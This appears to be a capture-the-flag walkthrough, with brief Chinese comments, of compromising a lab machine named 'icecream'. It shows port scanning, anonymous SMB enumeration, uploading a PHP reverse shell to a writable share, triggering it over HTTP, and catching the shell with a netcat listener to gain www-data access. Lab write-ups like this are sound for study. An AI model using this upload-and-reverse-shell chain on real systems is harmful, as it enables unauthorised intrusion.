❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- You miss 100% of the ports you don't scan. - RustScan
[~] The config file is expected to be at "/home/ctf/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.56.113:22 Open 192.168.56.113:80 Open 192.168.56.113:139 Open 192.168.56.113:445 Open 192.168.56.113:9000 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 16:49 CST Initiating Ping Scan at 16:49 Scanning 192.168.56.113 [4 ports] Completed Ping Scan at 16:49, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 16:49 Completed Parallel DNS resolution of 1 host. at 16:49, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 16:49 Scanning 192.168.56.113 [5 ports] Discovered open port 445/tcp on 192.168.56.113 Discovered open port 80/tcp on 192.168.56.113 Discovered open port 9000/tcp on 192.168.56.113 Discovered open port 139/tcp on 192.168.56.113 Discovered open port 22/tcp on 192.168.56.113 Completed SYN Stealth Scan at 16:49, 0.04s elapsed (5 total ports) Nmap scan report for 192.168.56.113 Host is up, received reset ttl 63 (0.00060s latency). Scanned at 2024-12-12 16:49:08 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 139/tcp open netbios-ssn syn-ack ttl 63 445/tcp open microsoft-ds syn-ack ttl 63 9000/tcp open cslistener syn-ack ttl 63 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds Raw packets sent: 9 (372B) | Rcvd: 6 (260B)
Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers icecream Disk tmp Folder IPC$ IPC IPC Service (Samba 4.17.12-Debian) nobody Disk Home Directories Reconnecting with SMB1 for workgroup listing. smbXcli_negprot_smb1_done: No compatible protocol selected by server. Protocol negotiation to server 192.168.56.113 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE Unable to connect with SMB1 -- no workgroup available ❯ smbclient -N //$ip/icecream Try "help" to get a list of possible commands. smb: \> dir . D 0 Thu Dec 12 16:39:01 2024 .. D 0 Sun Oct 6 18:06:38 2024 .font-unix DH 0 Thu Dec 12 16:22:07 2024 systemd-private-7e87a6a94eb84f99a8fed57a685b389e-systemd-timesyncd.service-HzwZ4S D 0 Thu Dec 12 16:22:07 2024 .XIM-unix DH 0 Thu Dec 12 16:22:07 2024 .ICE-unix DH 0 Thu Dec 12 16:22:07 2024 systemd-private-7e87a6a94eb84f99a8fed57a685b389e-systemd-logind.service-ecsU5G D 0 Thu Dec 12 16:22:08 2024 .X11-unix DH 0 Thu Dec 12 16:22:07 2024
19480400 blocks of size 1024. 16161228 blocks available
试着传个rev.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
❯ smbclient -N //$ip/icecream Try "help" to get a list of possible commands. smb: \> put php-reverse-shell.php putting file php-reverse-shell.php as \php-reverse-shell.php (157.9 kb/s) (average 157.9 kb/s) smb: \> ls . D 0 Thu Dec 12 17:07:04 2024 .. D 0 Sun Oct 6 18:06:38 2024 .font-unix DH 0 Thu Dec 12 16:22:07 2024 systemd-private-7e87a6a94eb84f99a8fed57a685b389e-systemd-timesyncd.service-HzwZ4S D 0 Thu Dec 12 16:22:07 2024 .XIM-unix DH 0 Thu Dec 12 16:22:07 2024 .ICE-unix DH 0 Thu Dec 12 16:22:07 2024 systemd-private-7e87a6a94eb84f99a8fed57a685b389e-systemd-logind.service-ecsU5G D 0 Thu Dec 12 16:22:08 2024 .X11-unix DH 0 Thu Dec 12 16:22:07 2024 php-reverse-shell.php A 5496 Thu Dec 12 17:07:04 2024
19480400 blocks of size 1024. 16161216 blocks available
回头访问一下http://$ip/php-reverse-shell.php,拿到shell了
1 2 3 4 5 6 7 8 9 10 11 12 13
❯ curl $ip/php-reverse-shell.php ----------------分隔线------------ ┌──(kali㉿kali)-[~] └─$ rlwrap nc -lnvp 4444 listening on [any] 4444 ... connect to [192.168.56.102] from (UNKNOWN) [192.168.56.113] 36242 Linux icecream 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64 GNU/Linux 10:12:59 up 50 min, 0 user, load average: 0.00, 0.00, 0.02 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)